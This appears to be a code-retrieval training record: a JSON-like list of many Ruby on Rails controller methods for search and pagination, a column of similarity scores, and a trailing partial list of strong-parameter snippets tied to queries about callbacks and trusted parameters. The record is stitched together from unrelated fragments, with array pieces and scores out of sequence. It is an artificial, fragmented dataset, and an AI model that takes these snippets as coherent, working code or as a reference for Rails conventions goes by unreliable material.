"def search\n sort_init 'name'\n sort_update\n \n @search_term = params[:term]\n\n if !@search_term then\n @search_term = session[:last_search_term]\n end\n # Save this for after editing\n session[:last_search_term] = @search_term\n\n # Need this so that links show up\n @title = \"Search Results For '#{@search_term}'\"\n @tags = Tag.find_alpha\n @search_count = Product.search(@search_term, true, nil)\n @product_pages = Paginator.new(self, @search_count, 30, params[:page])\n # to_sql is an array\n # it seems to return the limits in reverse order for mysql's liking\n the_sql = @product_pages.current.to_sql.reverse.join(',')\n products = Product.search(@search_term, false, the_sql)\n product_ids = products.map(&:id)\n begin\n @product_pages, @products = paginate :product, :conditions => [\"id IN (?)\",product_ids], :order_by => sort_clause, :per_page => 10\n rescue\n @products = []\n end\n render :action => 'list'\n end",
"def index\n @search = Voluntario.search(params[:q])\n @voluntarios = @search.result.paginate(:page => params[:page], per_page: 10)\n \n end",
"def index\n results = @search.result(distinct: true)\n if params[:customer_id]\n results = results.where(customer_id: params[:customer_id])\n end\n results = results.tagged_with(params[:tags].split(/\\s*,\\s*/)) if params[:tags].present?\n results = results.includes :series\n results.paginate(page: params[:page], per_page: 20)\n\n set_listing results.paginate(page: params[:page], per_page: 20)\n\n end",
"def after_pagination\n end",
"def index\n @companies = Company.paginate(:page => params[:page], :per_page => 5).search(params[:search])\n #where([\"Description LIKE ?\",\"%#{params[:search]}%\"])\n \n end",
"def index\n @posts = Post.search(params[:term]).paginate(:page => params[:page], :per_page => 9)\n end",
"def initialize_paginator\n @page = correct_integer?(params[:page]) ? params[:page].to_i : 1\n @for_page = FOR_PAGE\n @order = SearchOrders::DOCUMENTS_SET.include?(params[:order]) ? params[:order] : SearchOrders::CREATED_AT\n @word = params[:word].blank? ? nil : params[:word]\n end",
"def find_documents!(model, page, items_per_page)\n conditions = params.empty? ? {} : make_conditions(params, model)\n model.all(conditions.merge({\n :skip => items_per_page * (page - 1),\n :limit => items_per_page\n }))\n end",
"def index\n query = ''\n searchparam = \"\"\n if params[:search] && params[:search] != ''\n query += ' lower(name) LIKE ?'\n searchparam = \"%#{params[:search].downcase}%\"\n end\n\n @users = User.where(query, searchparam).paginate(page: params[:page])\n @searched = query != ''\n end",
"def page\n @data_management_plans = paginate_response(results: search_filter_and_sort)\n render layout: false\n end",
"def index\n @search_lines = SearchLine.all.page(params[:page])\n end",
"def index\n @search = current_company.price_lists.search(params[:search])\n @price_lists = @search.paginate(:page => params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @price_lists }\n end\n end",
"def index\n @search = Article.where(\"ready is true\").search(params[:search])\n @articles = @search.paginate(:per_page => 9, :page => params[:page])\n\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @articles }\n end\n end",
"def index\n @products = Product.search(params).paginate(:page => params[:page], :per_page => 10)\n end",
"def paginated_each(options, &block)\n search = options.delete(:search)\n unless search == true\n proxy = create_collection_proxy(options)\n else\n proxy = create_search_collection_proxy(options)\n end\n proxy.paginated_each(options, &block)\n end",
"def index\n # session[:have_page] = url_for(params.except(:page))\n within = nil\n if session[:within].present? then within = session[:within].to_i end\n begin\n #if category params present (except all) and search not present\n if params[:category].present? and !params[:category].blank? and params[:category] != 'all' and !params[:search].present?\n @results_for = Category.find_by_id(params[:category]).name.titleize\n if params[:sort_by].present? and (params[:sort_by] == \"distance\" or params[:sort_by] == \"most offered\")\n #sort by distance or most offered\n search_result = Item.item_search(nil, params[:category], params[:sort_by],nil,nil, params[:page], session[:user_ll], within, nil)\n elsif params[:sort_by].present? and params[:sort_by] == \"friends\"\n #friends items\n search_result = Item.item_search(nil, params[:category], params[:sort_by],nil,nil, params[:page], session[:user_ll], within, nil, current_user.id)\n else\n #sort by Most Recent\n search_result = Item.item_search(nil, params[:category], nil,nil,nil, params[:page], session[:user_ll], within, nil)\n end\n if search_result.present?\n @items = search_result.results\n # @distance = Item.calculate_distance(@items,session[:user_ll])\n @i_total = search_result.total\n else\n @items =[]\n @i_total = 0\n end\n #else if search params are present, then search based on search text\n elsif params[:search].present? and !params[:category].present?\n @results_for = params[:search]\n if params[:sort_by].present? and (params[:sort_by] == \"distance\" or params[:sort_by] == \"most offered\")\n #sort by distance or most offered\n search_result = Item.item_search(params[:search], nil, params[:sort_by],nil,nil, params[:page], session[:user_ll], within, nil)\n elsif params[:sort_by].present? and params[:sort_by] == \"friends\"\n #friends items\n search_result = Item.item_search(params[:search], nil, params[:sort_by],nil,nil, params[:page], session[:user_ll], within, nil, current_user.id)\n else\n #sort by Most Recent\n search_result = Item.item_search(params[:search], nil, nil,nil,nil, params[:page], session[:user_ll], within, nil)\n end\n if search_result.present?\n @items = search_result.results\n # @distance = Item.calculate_distance(@items,session[:user_ll])\n @i_total = search_result.total\n else\n @items =[]\n @i_total = 0\n end\n #else fetch all items\n else\n @results_for = \"All Goods and Services\"\n if params[:sort_by].present? and (params[:sort_by] == \"distance\" or params[:sort_by] == \"most offered\")\n #sort by distance or most offered\n search_result = Item.item_search(nil, nil, params[:sort_by], nil,nil,params[:page], session[:user_ll], within, nil)\n elsif params[:sort_by].present? and params[:sort_by] == \"friends\"\n #friends items\n search_result = Item.item_search(nil, nil, params[:sort_by], nil,nil,params[:page], session[:user_ll], within, nil, current_user.id)\n else\n #sort by Most Recent\n search_result = Item.item_search(nil, nil, nil,nil,nil, params[:page], session[:user_ll], within, nil)\n end\n if search_result.present?\n @items = search_result.results\n # @distance = Item.calculate_distance(@items,session[:user_ll])\n @i_total = search_result.total\n else\n @items =[]\n @i_total = 0\n end\n end\n if @items.blank?\n # Empty Results Browse Page\n # Popular Items\n search_result_popular_items = Item.item_search(nil, nil, \"most offered\", nil,nil,1, session[:user_ll], nil,10)\n @popular_items = search_result_popular_items.results\n end\n # Friends Section \n @friends_not_on_tradeya = current_user.friends_not_on_tradeya\n @friends_on_tradeya = current_user.friends_on_tradeya\n \n # Send email when an invited user joins\n if current_user.sign_in_count == 1 and !current_user.welcome_user and current_user.invited_by.present?\n UserMailer.friends_joined(current_user.id,current_user.invited_by).deliver\n end\n\n rescue StandardError => e\n @items = []\n @i_total = 0\n end\n respond_to do |format|\n if params[:page]\n format.js\n else\n format.html # index.html.erb\n format.json { render json: @items }\n end\n end\n end",
"def index\n @results = Admin::Result.index.paginate(page: params[:page], per_page: 20)\n end",
"def index\n @invoices = Invoice.number_like_all(params[:search].to_s.split).descend_by_id.paginate(:page => params[:page], :per_page => 20)\n #@customers = Customer.all #test?\n #@invoices = Invoice.all.paginate :page => params[:page], :per_page => 10\n# @invoices = Invoice.search(\"number LIKE ?\", \"%#{params[:search]}%\") #testing search\n @search = Invoice.search(params[:search])\n ##@invoices = @search.all #.paginate :page => params[:page], :per_page => 10\n #@search = Customer.search(params[:search])\n #@customers = @search.all.paginate :page => params[:page], :per_page => 10\n\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @invoices }\n end\n end",
"def get_search_results(extra_controller_params={})\n Blacklight.solr.find self.solr_search_params(extra_controller_params)\n end",
"def page(num = 1)\n num = 1 if num < 1\n num = @pages if num > @pages\n\n @page_number = num\n\n # offset n is the n+1 record\n start = (@page_number - 1) * @page_size\n\n @paged_filtered_rset = @filtered_rset.offset(start).limit(@page_size)\n\n self\n end",
"def index\n\n # if we’re searching\n if params.key?( :search ) and action_allowed?( :search )\n\n # we’re searching: attempt to do a custom search\n @content = add_pagination_and_sorting( custom_search )\n\n else\n\n # otherwise, grab all the things\n @content = add_pagination_and_sorting( custom_index )\n\n end\n\n generate_titles\n\n end",
"def index\n __log_activity(anonymous: true)\n __debug_route\n err = nil\n prm = paginator.initial_parameters\n playback = prm.delete(:search_call)\n s_params = (playback || prm).except(*Paginator::NON_SEARCH_KEYS)\n q_params = s_params.extract!(*search_query_keys).compact_blank!\n if q_params.blank?\n if s_params.present?\n redirect_to prm.merge!(q: SearchTerm::NULL_SEARCH)\n else\n render 'search/advanced'\n end\n return\n end\n prm = prm.slice(*Paginator::NON_SEARCH_KEYS).merge!(s_params, q_params)\n titles = title_results?\n @list = index_search(titles: titles, save: !playback, **prm)\n err = @list.exec_report if @list.error?\n # noinspection RubyMismatchedArgumentType\n paginator.finalize(@list, as: (titles ? :titles : :records), **prm)\n respond_to do |format|\n format.html\n format.json { render_json index_values }\n format.xml { render_xml index_values(item: :record) }\n end\n rescue => error\n err = error\n ensure\n failure_status(err)\n end",
"def index\n if params[:search_item]\n @supplies = Supply.search_by_title(params[:search_item]).paginate(:page => params[:page]).per_page(10)\n else\n @supplies = Supply.order(\"id DESC\").paginate(:page => params[:page]).per_page(10) \n end\n end",
"def search\n if @query_string.present?\n search_result = Product.ransack(@search_criteria).result(:distinct => true)\n @products = search_result.paginate(:page => params[:page], :per_page => 5 )\n end\n end",
"def user_search_results\n @limit = 25\n load_facility\n @price_group = PriceGroup.find(params[:price_group_id]) if params[:price_group_id].present?\n @account = Account.find(params[:account_id]) if params[:account_id].present?\n @product = Product.find(params[:product_id]) if params[:product_id].present?\n @search_type = valid_search_types.find { |t| t == params[:search_type] }\n @users, @count = UserFinder.search_with_count(params[:search_term], @limit)\n\n render layout: false\n end",
"def index\n @search = Customer.search(params[:q])\n @search.sorts = 'name asc' if @search.sorts.empty?\n @customers = @search.result\n paginate_customers(@customers)\n end",
"def index\n @owners = Owner.search(params[:search]).paginate(:per_page => 25, :page => params[:page])\n if @owners.count == 1\n redirect_to @owners.first\n end\n end",
"def index\n if params[:search]\n\t\t\t\t@spektakls = Spektakl.search(params[:search]).paginate(:page => params[:page], :per_page => 10)\n\t\t\t\telse\n @spektakls = Spektakl.paginate(:page => params[:page], :per_page => 10)\n end\nend",
"def search_result_page\n @search_result_page ||= begin\n page = Page.published.find_by(\n page_layout: search_result_page_layout['name'],\n language_id: Language.current.id\n )\n if page.nil?\n logger.warn \"\\n++++++\\nNo published search result page found. Please create one or publish your search result page.\\n++++++\\n\"\n end\n page\n end\n end",
"def index\n if params[:search]\n @books = Book.search(params[:search]).order(\"created_at DESC\").paginate(page: params[:page], per_page: 3)\n else\n @books = Book.paginate(page: params[:page], per_page: 3)\n end\n end",
"def pagination\n Pagination.new( total_items, search_args)\n end",
"def index\n @filters = Filter.all\n @cars = Car.standard.has_photos.owner_has_login.includes(:user, :photos, :trim, model: :make)\n filter = Filter.find_by(id: params[:filter])\n if params[:search].present? || (params[:lat].present? && params[:lng].present?)\n @cars = @cars.simple_search(params[:search], params[:lat], params[:lng], params[:radius])\n @user_count = User.simple_search(params[:search], params[:lat], params[:lng], params[:radius]).count\n elsif filter\n @cars = filter.search\n end\n\n per_page = 12\n\n # Show random results on first page, order by date for page 2+\n if params[:page].to_s.to_i > 1 || params[:search].present? || (params[:lat].present? && params[:lng].present?)\n @cars = @cars.order(created_at: :desc)\n start_at = params[:page].to_i\n start_at = 1 if start_at.zero?\n @for_pagination = @cars.page(start_at).per(per_page)\n # Start at page 1 when user is at page 2 (since page 1 is really a random set)\n start_at -= 1 if params[:search].blank?\n @cars = @cars.page(start_at).per(per_page)\n else\n @for_pagination = @cars.page(params[:page]).per(per_page)\n @cars = @cars.where(id: @cars.pluck(:id).sample(per_page))\n end\n end",
"def index\n page = params[:page] || 1\n page = page.to_i\n per_page = params[:per_page] || 25\n per_page = per_page.to_i\n @results = {}\n\n search = params[:searchterm]\n if search && search.empty?\n search = nil\n end\n\n if search\n page = 1\n per_page = 50\n @stats = SearchEngine.search(Stat, search)\n total = @stats.count\n @stats = Kaminari.paginate_array(@stats).page(page).per(per_page)\n \n @searchterm = search\n else\n @stats = Stat.desc(:id).page(page).per(per_page)\n total = Stat.count\n end\n \n @results[:first] = (page-1) * per_page + 1\n @results[:last ] = [total, page * per_page].min\n @results[:total] = total\n end",
"def index\n @search = customers.search(params[:search])\n @customers = @search.page(params[:page]).per_page(16)\n end",
"def index\n @users = User.search(params[:search]).paginate(:per_page => 2, :page => params[:page])\n @title = \"Users\"\n #if params[:search]\n # @users = User.all(:conditions => ['name LIKE ?', \n # \"%#{params[:search]}%\"])\n #else\n # @users = User.all\n #@title = \"All users\"\n #end \n end",
"def index\n @companies = Company.paginate :page=>params[:page], :per_page => 5\n\n #redirect_to search_all\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @companies }\n format.xml { render :xml => @regios }\n end\n end",
"def index\n @search = @scope.search(params[:search])\n @people = @search.paginate(:page => params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @people }\n end\n end",
"def paged_results\n results = WillPaginate::Collection.create( @index.current_page, @index.docs_per_page, @index.current_results_total ) do |pager|\n pager.replace(@index.ordered_results)\n end\n return results\n end",
"def index\r\n @items = Item.paginate(:page => params[:page])\r\n end",
"def index\n @category_name = params[:category]\n @search = Search.new()\n if params[:category_id]\n @category = Category.find(params[:category_id])\n @products = @category.products.to_a.uniq\n @category_name = @category.name\n @categories = Category.where(parent_category: @category.parent_category)\n else\n @products = []\n @categories = Category.where(parent_category: @category_name)\n @categories.each {|e| @products << e.products}\n @products = @products.flatten.uniq\n end\n @page_number = 1\n @pages = (@products.length/12.0).ceil\n if params[:page_number]\n @page_number = params[:page_number].to_i\n if @page_number > @pages || @page_number < 1\n redirect_to \"/#{@category_name}\"\n end\n end\n min = (12 * (@page_number - 1))\n max = min + 11\n @products = @products[min..max]\n end",
"def index\n @search_tasks = current_account.search_tasks\n .where(params.slice(:search_id))\n .paginate(page: params[:page])\n end",
"def paginate_at ()\n return 8\n end",
"def index\n respond_with(@pages = Page.all.paginate(:page => params[:page] || 1, :per_page => params[:per_page] || 5))\n end",
"def index\n if params[:customer_id]\n begin\n @vehicles = Customer.find_by_id(params[:customer_id]).vehicles.paginate(:page => params[:page])\n rescue ActiveRecord::RecordNotFound\n render_404\n end\n end\n \n if params[:search]\n @vehicles = Vehicle.search(params[:search]).paginate(:page => params[:page])\n if only_one_non_zero?(@vehicles)\n redirect_to @vehicles.first\n end\n end\n end",
"def index\n task_searches = TaskSearch.viewable_searches(current_user)\n task_searches = task_searches.where(\"title like ?\", \"%#{params[:q]}%\") if params[:q]\n @task_searches = page(task_searches.order(params[:order] || :title))\n end",
"def index\n @q = Author.search(params[:q])\n @authors = @q.result(distinct: true).paginate(:page => params[:page]).order('last_name ASC')\n end",
"def index\n \n # Check if there is parameter num_to_return, otherwise set to the default number\n #num_to_return = params[:num_to_return].nil? ? 12 : params[:num_to_return]\n #@locations = Location.limit(num_to_return)\n @locations = Location.paginate(page: params[:page], :per_page => 18, :total_entries => 900)\n\n end",
"def results_limit\n # max number of search results to display\n 10\n end",
"def index\n page_info\n\n # update @page_info.page when page is specified.\n # Otherwise, reset page to 1.\n #\n # Just set, not save. It will be done later when saving sssn with\n # 'has_many page_infos ... autosave: true'\n @page_info.page = (params[:page] || 1)\n\n #clear_topic_path\n prepare_list\n\n @search = page_info.record\n @record = model.new\n end",
"def index\n @users = User.search(params[:search]).paginate(page: params[:page], :per_page => 30)\n end",
"def index\n if params[:search]\n @found_animals = FoundAnimal.search(params[:search]).order(\"created_at DESC\").paginate(page: params[:page], per_page: 10)\n else\n @found_animals = FoundAnimal.all.order('created_at DESC').paginate(page: params[:page], per_page: 10)\n end \n end",
"def index\n @sport_odds = SportOdd.search_and_paginate(params)\n end",
"def index\n @invoices = Invoice.number_like_all(params[:searchlogic].to_s.split).paginate(:page => params[:page])\n #@invoices = Invoice.return_recent_invoices\n @search = Customer.search(params[:search])\n @customers = @search.all(:order => \"id DESC\").paginate :page => params[:page], :per_page => 20\n#order(\"id\") before.search-.order(:id)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @customers }\n end\n end"
] |
[
"0.7311441",
"0.66956997",
"0.66386884",
"0.66051054",
"0.6562758",
"0.6500251",
"0.6445051",
"0.6438352",
"0.6436384",
"0.64190847",
"0.6402931",
"0.63792646",
"0.63735193",
"0.6367329",
"0.6364901",
"0.6364477",
"0.6353947",
"0.6351873",
"0.6350624",
"0.63218665",
"0.62976366",
"0.6294482",
"0.628618",
"0.62787306",
"0.62684685",
"0.62513566",
"0.6194228",
"0.61869913",
"0.61772525",
"0.61685354",
"0.6162005",
"0.6154736",
"0.6146713",
"0.6146559",
"0.6139377",
"0.6135798",
"0.6124982",
"0.6094116",
"0.6084353",
"0.60834795",
"0.6079844",
"0.6079583",
"0.60783076",
"0.6074521",
"0.6071784",
"0.6046783",
"0.6037713",
"0.6032713",
"0.6026192",
"0.60185164",
"0.601674",
"0.6007319",
"0.6005775",
"0.59925634",
"0.59899646",
"0.5987385",
"0.5986324",
"0.5985004",
"0.59840447",
"0.59821266",
"0.5979156",
"0.5971868",
"0.5968541",
"0.59625775",
"0.59615326",
"0.59610164",
"0.5960564",
"0.59582186",
"0.5943132",
"0.59418553",
"0.5938793",
"0.59374106",
"0.5936706",
"0.59359944",
"0.59342545",
"0.59327644",
"0.59317005",
"0.59284765",
"0.59252656",
"0.5921796",
"0.5919826",
"0.5919775",
"0.5919531",
"0.5916784",
"0.591573",
"0.5911111",
"0.59001523",
"0.5900107",
"0.5896294",
"0.589421",
"0.58932036",
"0.58883977",
"0.5887357",
"0.5887325",
"0.58871585",
"0.58869064",
"0.5886239",
"0.588468",
"0.58837855",
"0.5883568"
] |
0.59201455
|
80
|
Use callbacks to share common setup or constraints between actions.
|
def set_admin_message
@admin_message = AdminMessage.find(params[:id])
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def set_required_actions\n # TODO: check what fields change to asign required fields\n end",
"def action_hook; end",
"def run_actions; end",
"def define_action_hook; end",
"def actions; end",
"def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end",
"def add_actions; end",
"def callbacks; end",
"def callbacks; end",
"def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end",
"def define_action_helpers; end",
"def post_setup\n end",
"def action_methods; end",
"def action_methods; end",
"def action_methods; end",
"def before_setup; end",
"def action_run\n end",
"def execute(setup)\n @action.call(setup)\n end",
"def define_action_helpers?; end",
"def set_actions\n actions :all\n end",
"def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end",
"def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end",
"def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end",
"def before_actions(*logic)\n self.before_actions = logic\n end",
"def setup_handler\n end",
"def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end",
"def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def workflow\n end",
"def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end",
"def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end",
"def before(action)\n invoke_callbacks *self.class.send(action).before\n end",
"def process_action(...)\n send_action(...)\n end",
"def before_dispatch(env); end",
"def after_actions(*logic)\n self.after_actions = logic\n end",
"def setup\n # override and do something appropriate\n end",
"def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end",
"def setup(_context)\n end",
"def setup(resources) ; end",
"def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end",
"def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end",
"def determine_valid_action\n\n end",
"def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end",
"def startcompany(action)\n @done = true\n action.setup\n end",
"def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end",
"def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end",
"def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end",
"def define_tasks\n define_weave_task\n connect_common_tasks\n end",
"def setup(&block)\n define_method(:setup, &block)\n end",
"def setup\n transition_to(:setup)\n end",
"def setup\n transition_to(:setup)\n end",
"def action\n end",
"def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend",
"def config(action, *args); end",
"def setup\n @setup_proc.call(self) if @setup_proc\n end",
"def before_action \n end",
"def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end",
"def action\n end",
"def matt_custom_action_begin(label); end",
"def setup\n # override this if needed\n end",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end",
"def after(action)\n invoke_callbacks *options_for(action).after\n end",
"def pre_task\n end",
"def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end",
"def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end",
"def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end",
"def setup_signals; end",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end",
"def initialize(*args)\n super\n @action = :set\nend",
"def after_set_callback; end",
"def setup\n #implement in subclass;\n end",
"def lookup_action; end",
"def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end",
"def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end",
"def release_actions; end",
"def around_hooks; end",
"def save_action; end",
"def setup(easy)\n super\n easy.customrequest = @verb\n end",
"def action_target()\n \n end",
"def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end",
"def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end",
"def before_setup\n # do nothing by default\n end",
"def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end",
"def default_action; end",
"def setup(&blk)\n @setup_block = blk\n end",
"def callback_phase\n super\n end",
"def advice\n end",
"def _handle_action_missing(*args); end",
"def duas1(action)\n action.call\n action.call\nend",
"def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end",
"def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end",
"def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend"
] |
[
"0.6163163",
"0.6045976",
"0.5946146",
"0.591683",
"0.5890051",
"0.58349305",
"0.5776858",
"0.5703237",
"0.5703237",
"0.5652805",
"0.5621621",
"0.54210985",
"0.5411113",
"0.5411113",
"0.5411113",
"0.5391541",
"0.53794575",
"0.5357573",
"0.53402257",
"0.53394014",
"0.53321576",
"0.53124547",
"0.529654",
"0.5296262",
"0.52952296",
"0.52600986",
"0.52442724",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.5232394",
"0.523231",
"0.5227454",
"0.52226824",
"0.52201617",
"0.5212327",
"0.52079266",
"0.52050185",
"0.51754695",
"0.51726824",
"0.51710224",
"0.5166172",
"0.5159343",
"0.51578903",
"0.51522785",
"0.5152022",
"0.51518047",
"0.51456624",
"0.51398855",
"0.5133759",
"0.5112076",
"0.5111866",
"0.5111866",
"0.5110294",
"0.5106169",
"0.509231",
"0.50873137",
"0.5081088",
"0.508059",
"0.50677156",
"0.50562143",
"0.5050554",
"0.50474834",
"0.50474834",
"0.5036181",
"0.5026331",
"0.5022976",
"0.5015441",
"0.50121695",
"0.5000944",
"0.5000019",
"0.4996878",
"0.4989888",
"0.4989888",
"0.49864885",
"0.49797225",
"0.49785787",
"0.4976161",
"0.49683493",
"0.4965126",
"0.4958034",
"0.49559742",
"0.4954353",
"0.49535993",
"0.4952725",
"0.49467874",
"0.49423352",
"0.49325448",
"0.49282882",
"0.49269363",
"0.49269104",
"0.49252945",
"0.4923091",
"0.49194667",
"0.49174926",
"0.49173003",
"0.49171105",
"0.4915879",
"0.49155936"
] |
0.0
|
-1
|
Only allow a trusted parameter "white list" through.
|
def admin_message_params
params.require(:admin_message).permit(:from_name, :from_email, :content)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def allowed_params\n ALLOWED_PARAMS\n end",
"def expected_permitted_parameter_names; end",
"def param_whitelist\n [:role, :title]\n end",
"def default_param_whitelist\n [\"mode\"]\n end",
"def permitir_parametros\n \t\tparams.permit!\n \tend",
"def permitted_params\n []\n end",
"def strong_params\n params.require(:user).permit(param_whitelist)\n end",
"def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end",
"def filtered_parameters; end",
"def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end",
"def parameters_list_params\n params.require(:parameters_list).permit(:name, :description, :is_user_specific)\n end",
"def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end",
"def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end",
